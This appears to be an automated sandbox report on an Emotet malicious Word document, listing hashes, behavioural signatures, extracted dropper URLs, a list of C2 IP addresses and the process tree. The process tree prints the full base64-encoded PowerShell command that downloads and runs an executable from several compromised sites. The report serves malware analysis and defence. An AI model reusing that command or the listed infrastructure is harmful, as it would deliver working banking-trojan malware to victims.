Overview

overview

10

Static

static

8

emotet_doc

windows7_x64

10

Analysis

  • max time kernel
    59s
  • max time network
    65s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    17/07/2020, 19:43

Sharing

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General

  • Target
    9048b05d813130654239b214db93ef26fb26ca814bb30ad4166e70bae30bb50c.doc
  • Size 190KB
  • Sample200717-ytle88rgr6
  • SHA256 9048b05d813130654239b214db93ef26fb26ca814bb30ad4166e70bae30bb50c
  • MD5 SHA1 SHA512
Score
10/10
discoverytrojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://mican.tri-comma.com/wp-admin/BmKOeycm0704/
  • exe.dropper

    http://defensacovid.com/wp-admin/dGzIMVvo/
  • exe.dropper

    http://doorbhai.com/wp-admin/Wq6Kdoisk1r4060453/
  • exe.dropper

    http://agilentgame.reviewshell.com/cgi-bin/csoa45gw51315935/
  • exe.dropper

    http://karir-up.com/wp-admin/CCzj96yk23/

Extracted

Family

  • emotet

C2

  • 177.144.130.105:443

  • 198.27.69.201:8080

  • 157.7.164.178:8081

  • 78.188.170.128:80

  • 203.153.216.178:7080

  • 77.74.78.80:443

  • 178.33.167.120:8080

  • 177.0.241.28:80

  • 143.95.101.72:8080

  • 51.38.201.19:7080

  • 181.167.35.84:80

  • 41.185.29.128:8080

  • 192.163.221.191:8080

  • 181.164.110.7:80

  • 203.153.216.182:7080

  • 80.211.32.88:8080

  • 113.160.180.109:80

  • 185.142.236.163:443

  • 192.241.220.183:8080

  • 87.106.231.60:8080

rsa_pubkey.plain

Signatures

  • Drops file in System32 directory 2 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Modifies registry class 280 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious behavior: EmotetMutantsSpam 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Executes dropped EXE 2 IoCs
  • Blacklisted process makes network request 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\9048b05d813130654239b214db93ef26fb26ca814bb30ad4166e70bae30bb50c.doc"
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    PID:284
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JAB0AGgAaQBiAD0AJwBoAGUAZQBqACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBjAGAAVQByAGAASQBUAFkAYABwAHIATwB0AE8AYwBPAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABjAGUAdQBkAGoAdQBqACAAPQAgACcAOQA5ADcAJwA7ACQAcQB1AHUAdQB2AGoAbwBlAGwAYgBlAGEAawB6AGUAbwBwAGcAdQB2AG4AbwBhAGQAPQAnAG0AbwBlAHEAdQB2AGUAbwB0AGgAcABhAHUAcgBqAGUAZQBjACcAOwAkAG4AaQBiAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABjAGUAdQBkAGoAdQBqACsAJwAuAGUAeABlACcAOwAkAHIAaQBlAHkAZgBvAGUAeQBoAG8AdQBjAGYAbwBlAG0APQAnAHkAdQBhAHcAbQBlAG8AbABkAG8AaQB6AGQAYQBqACcAOwAkAGMAaABvAHUAbABsAG8AZQBoAGMAdQBhAGwAbgBlAGEAdgB3AGkAbwB6AGYAZQB1AGsAPQAuACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAG4ARQB0AC4AdwBFAGIAYwBsAEkARQBOAHQAOwAkAGMAaABvAGkAYwBoAHkAaQBjAGgAcABhAHUAYwBjAGgAbwBhAGYAdgBhAGkAdgA9ACcAaAB0AHQAcAA6AC8ALwBtAGkAYwBhAG4ALgB0AHIAaQAtAGMAbwBtAG0AYQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AQgBtAEsATwBlAHkAYwBtADAANwAwADQALwAqAGgAdAB0AHAAOgAvAC8AZABlAGYAZQBuAHMAYQBjAG8AdgBpAGQALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAGQARwB6AEkATQBWAHYAbwAvACoAaAB0AHQAcAA6AC8ALwBkAG8AbwByAGIAaABhAGkALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAFcAcQA2AEsAZABvAGkAcwBrADEAcgA0ADAANgAwADQANQAzAC8AKgBoAHQAdABwADoALwAvAGEAZwBpAGwAZQBuAHQAZwBhAG0AZQAuAHIAZQB2AGkAZQB3AHMAaABlAGwAbAAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAGMAcwBvAGEANAA1AGcAdwA1ADEAMwAxADUAOQAzADUALwAqAGgAdAB0AHAAOgAvAC8AawBhAHIAaQByAC0AdQBwAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBDAEMAegBqADkANgB5AGsAMgAzAC8AJwAuACIAUwBgAHAAbABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABtAGEAaQBiAD0AJwBkAG8AdQB5AGMAaAB1AGEAcwBsAGUAbwB2ACcAOwBmAG8AcgBlAGEAYwBoACgAJAByAGEAbwBiAHoAZQB1AHgAIABpAG4AIAAkAGMAaABvAGkAYwBoAHkAaQBjAGgAcABhAHUAYwBjAGgAbwBhAGYAdgBhAGkAdgApAHsAdAByAHkAewAkAGMAaABvAHUAbABsAG8AZQBoAGMAdQBhAGwAbgBlAGEAdgB3AGkAbwB6AGYAZQB1AGsALgAiAEQATwBXAG4AYABsAE8AQQBgAEQAZgBgAGkATABlACIAKAAkAHIAYQBvAGIAegBlAHUAeAAsACAAJABuAGkAYgApADsAJAB0AGgAbwBhAGsAdABhAGUAaAB6AGUAcgB0AG8AeABkAHUAYQB4AHcAZQBvAHgAPQAnAHYAZQBhAHEAdQB0AGgAaQBhAGMAdABoAGkAZQB3AHQAaABhAHUAawB0AGgAbwBvAG4AaABpAHIAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtAEkAdABlACcAKwAnAG0AJwApACAAJABuAGkAYgApAC4AIgBsAEUAYABOAEcAYABUAGgAIgAgAC0AZwBlACAAMwAwADcAMAA5ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBjAFIAZQBgAEEAVABFACIAKAAkAG4AaQBiACkAOwAkAHkAZQBqAGsAaQBvAG0AawBhAHUAeQB6AG8AaAA9ACcAdABpAGUAYgAnADsAYgByAGUAYQBrADsAJAB0AGgAbwBvAHcAcgBhAHUAdABkAHUAZwA9ACcAaABvAHUAdAB3AGkAbwBmACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAHEAdQBvAGkAbQBjAGEAbwBuAGoAbwBhAGQAeQBpAGEAdgBqAG8AYQBoAHoAdQB1AGwAPQAnAHkAdQB1AG4AbQBvAGYAJwA=
    1⤵
    • Drops file in System32 directory
    • Suspicious use of AdjustPrivilegeToken
    • Process spawned unexpected child process
    • Suspicious behavior: EnumeratesProcesses
    • Blacklisted process makes network request
    PID:1812
  • C:\Users\Admin\997.exe
    C:\Users\Admin\997.exe
    1⤵
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    • Executes dropped EXE
    PID:1932
    • C:\Windows\SysWOW64\sdiageng\wcnwiz.exe
      "C:\Windows\SysWOW64\sdiageng\wcnwiz.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Suspicious behavior: EmotetMutantsSpam
      • Suspicious behavior: EnumeratesProcesses
      • Executes dropped EXE
      PID:1720

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/284-0-0x000000000057B000-0x0000000000580000-memory.dmp
        Download

        memory/284-2-0x0000000008A10000-0x0000000008A14000-memory.dmp
        Download

        memory/284-5-0x000000000B080000-0x000000000B084000-memory.dmp
        Download

        memory/284-6-0x000000000C100000-0x000000000C104000-memory.dmp
        Download

        memory/1720-13-0x0000000000360000-0x000000000036C000-memory.dmp
        Download

        memory/1720-14-0x0000000000400000-0x0000000000448000-memory.dmp
        Download

        memory/1932-10-0x00000000003B0000-0x00000000003BC000-memory.dmp
        Download